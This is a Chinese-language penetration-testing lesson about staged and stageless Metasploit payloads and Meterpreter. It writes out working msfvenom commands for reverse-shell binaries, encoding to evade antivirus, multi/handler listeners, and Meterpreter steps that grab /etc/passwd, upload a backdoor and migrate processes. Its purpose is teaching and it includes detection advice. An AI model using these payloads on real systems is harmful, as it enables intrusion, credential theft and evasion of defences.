Cyber Security Academy · 课时

有效载荷：分阶段与无阶段、Meterpreter

Q: 「有效载荷：分阶段与无阶段、Meterpreter」这节课中我会学到什么？

根据场景选择合适的有效载荷，并使用 Meterpreter 进行后渗透操作。 你通过在浏览器中直接运行的动手代码来练习 Cyber Security Academy，全天候 AI 导师会在你学习这节课的过程中回答你的问题。

根据场景选择合适的有效载荷，并使用 Meterpreter 进行后渗透操作。

有效载荷：分阶段与无阶段、Meterpreter 是 CoddyKit 上的免费 Cyber Security Academy 课时。这是第 3 节课，共 4 节。你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。这是 Cyber Security Academy 学习路径的一部分，你的进度在网页和 CoddyKit 应用中同步。 Cyber Security Academy 课程共包含 4 节课。

什么是载荷

载荷是漏洞利用成功后在目标上运行的代码。它决定攻击者能够获得什么：Shell、命令执行、文件访问，或像 Meterpreter 这样功能完整的代理。

分阶段载荷与无阶段载荷

无阶段载荷（/）将所有内容包含在一个二进制文件中——体积更大但更简单，初始传送后不需要网络回连。分阶段载荷（//）会先发送一个很小的阶段启动器，再从处理程序下载第二阶段。

# Stageless (single slash naming):
windows/x64/shell_reverse_tcp

# Staged (double slash naming):
windows/x64/shell/reverse_tcp
#                 ^
#                 stage 2 downloaded after stager connects

何时使用哪一种

如果目标在初始漏洞利用后无法访问互联网或处理程序，请使用无阶段载荷——载荷必须自包含。如果您希望初始载荷更小，并且拥有可靠的处理程序连接，请使用分阶段载荷。

Meterpreter 概述

Meterpreter 是 Metasploit 的高级载荷——完全在内存中运行，通信经过加密，并提供功能丰富的 API：文件系统访问、进程迁移、键盘记录、屏幕截图和网络枢纽。

msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.10
msf6 > set LPORT 4444
msf6 > run

Meterpreter 命令

用于后渗透的基本 Meterpreter 命令包括：系统信息、进程列表、文件操作和网络操作。

meterpreter > sysinfo          # system information
meterpreter > getuid           # current user
meterpreter > ps               # process list
meterpreter > download /etc/passwd
meterpreter > upload backdoor.sh /tmp/
meterpreter > shell            # drop to OS shell

进程迁移

将 Meterpreter 进程迁移到更稳定或更不易引起怀疑的进程中（例如 Windows 上的 explorer.exe）。如果迁移到权限更高的进程中，这也可能提升权限。

meterpreter > ps
meterpreter > migrate 1234     # migrate to PID 1234

# Migrate to explorer.exe for stability
# Avoids termination if original process exits

使用 msfvenom 生成载荷

msfvenom 可以生成独立的载荷文件（EXE、ELF、APK、Shellcode），用于在经过授权的测试中通过钓鱼、USB 投放或网页 Shell 进行传送。

# Windows reverse shell EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 LPORT=4444 \
  -f exe -o payload.exe

# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 LPORT=4444 \
  -f elf -o payload.elf

使用 Multi/Handler 捕获 Shell

multi/handler 辅助模块可以捕获反向 Shell 连接。在传送载荷之前，请使用与 msfvenom 中相同的载荷、LHOST 和 LPORT 对其进行配置。

msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 0.0.0.0
msf6 > set LPORT 4444
msf6 > run -j      # run as background job

编码与规避基础

msfvenom 编码器可以对载荷进行混淆，以规避基于基本特征的 AV 检测。请注意：现代 EDR 使用基于行为的检测，单独使用编码器不足以应对高级防御。

msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 LPORT=4444 \
  -e x64/xor_dynamic -i 5 \
  -f exe -o encoded_payload.exe

绑定载荷与反向载荷

反向载荷从目标连接到攻击者（更适合 NAT 或防火墙环境）。绑定载荷则在目标上监听，由攻击者连接进入。在大多数情况下，反向载荷是首选。

防御者对载荷的检测

防御者可以通过以下方式检测 Meterpreter：网络特征（C2 流量模式）、内存扫描（反射式 DLL 注入痕迹）以及行为分析（进程镂空、不寻常的父子进程关系）。

快速检查

在 Metasploit 中，分阶段载荷与无阶段载荷有何区别？

总结：载荷与 Meterpreter

初始占用空间较小时选择分阶段载荷，需要自包含传送时选择无阶段载荷。Meterpreter 是最强大的后渗透载荷：在内存中运行、通信加密并且可扩展。使用 msfvenom 生成独立的二进制文件，并始终配置 multi/handler 来捕获回连。

常见问题解答

「有效载荷：分阶段与无阶段、Meterpreter」课时是免费的吗？

是的 — 「有效载荷：分阶段与无阶段、Meterpreter」的完整文本可在网页上免费阅读。要进行交互式练习（内置代码编辑器和全天候 AI 导师）并解锁 Cyber Security Academy 课程的其余内容，请升级到 CoddyKit PRO。 Cyber Security Academy 课程共包含 4 节课。

「有效载荷：分阶段与无阶段、Meterpreter」这节课中我会学到什么？

根据场景选择合适的有效载荷，并使用 Meterpreter 进行后渗透操作。你通过在浏览器中直接运行的动手代码来练习 Cyber Security Academy，全天候 AI 导师会在你学习这节课的过程中回答你的问题。

学习 Cyber Security Academy 需要有经验吗？

无需任何先前经验。CoddyKit 上的 Cyber Security Academy 课程适合初学者到高级学习者，你可以从这里开始或从头开始，按照自己的节奏学习。这是第 3 节课，共 4 节。

「有效载荷：分阶段与无阶段、Meterpreter」课时需要多长时间？

大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动，所以你能稳步进步，并在网页和应用中从离开的地方继续。

我能在这节 Cyber Security Academy 课中编写并运行代码吗？

能。每节 Cyber Security Academy 课都包含内置代码编辑器，你可以在浏览器中直接编写并运行真实代码，并获得即时 AI 反馈 — 无需本地设置。

此课程中的所有课时

← 返回 Cyber Security Academy